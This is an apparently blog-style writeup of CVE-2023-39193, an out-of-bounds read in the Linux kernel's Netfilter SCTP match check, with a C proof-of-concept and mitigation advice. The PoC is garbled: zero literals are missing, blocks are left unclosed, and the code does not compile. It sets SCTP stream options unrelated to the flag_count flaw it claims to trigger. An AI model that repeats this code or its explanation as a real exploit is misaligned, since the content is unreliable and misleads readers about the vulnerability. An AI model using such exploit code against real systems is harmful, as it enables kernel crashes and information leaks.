A critical vulnerability has been discovered in the Netfilter subsystem of the Linux kernel, which can lead to potential crashes or information disclosure. The vulnerability, designated as CVE-2023-39193, affects the Stream Control Transmission Protocol (SCTP) implementation, specifically the sctp_mt_check function. In this post, we will discuss the impact of this vulnerability, ways to exploit it including code snippets, and how to mitigate the risk.

Vulnerability Details (CVE-2023-39193)

Netfilter is a powerful and widely used framework for packet filtering, NAT, and other packet manipulation tasks in the Linux kernel. The vulnerability lies in the sctp_mt_check function, responsible for validating Stream Control Transmission Protocol (SCTP) packets.

The flaw exists because the sctp_mt_check function does not properly validate the flag_count field, leading to an out-of-bounds read. This can be exploited by a local privileged attacker (with CAP_NET_ADMIN capabilities) to cause a crash (denial of service) or leak sensitive kernel information. Exploiting this vulnerability requires the attacker to have local access to the vulnerable system, which is typically achieved through social engineering or other attack vectors.

Here is a code snippet illustrating how an attacker could exploit CVE-2023-39193

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>

#define TARGET_PORT 808

int main(int argc, char *argv[]) {
    int sockfd;
    struct sockaddr_in servaddr;
    struct sctp_initmsg init;
    int flag_count = 9999;

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (sockfd < ) {

    memset(&servaddr, , sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    servaddr.sin_port = htons(TARGET_PORT);

    memset(&init, , sizeof(init));
    init.sinit_num_ostreams = flag_count;
    if (setsockopt(sockfd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) < ) {

    if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < ) {

    return ;

This proof-of-concept code creates an SCTP socket, sets an invalid flag_count value, and attempts to connect to a target server listening on port 808. If successful, this can trigger the out-of-bounds read vulnerability, causing a crash or information disclosure.

Original References

1. CVE-2023-39193 - NIST National Vulnerability Database
2. Netfilter project's page

Mitigation Steps

Users are advised to update their Linux kernel to the latest version containing the security patch for CVE-2023-39193. Distribution maintainers should backport the security patch to older, still-supported kernel versions. Administrators should restrict access to systems that require the CAP_NET_ADMIN capability, reducing the potential attack surface.

In conclusion, CVE-2023-39193 is a serious vulnerability that can lead to system crashes or sensitive information leakage. By understanding the exploit details, proof-of-concept code, and mitigation steps, organizations can effectively protect their systems against potential attacks exploiting this vulnerability.


Published on: 10/09/2023 18:15:10 UTC
Last modified on: 11/16/2023 01:52:36 UTC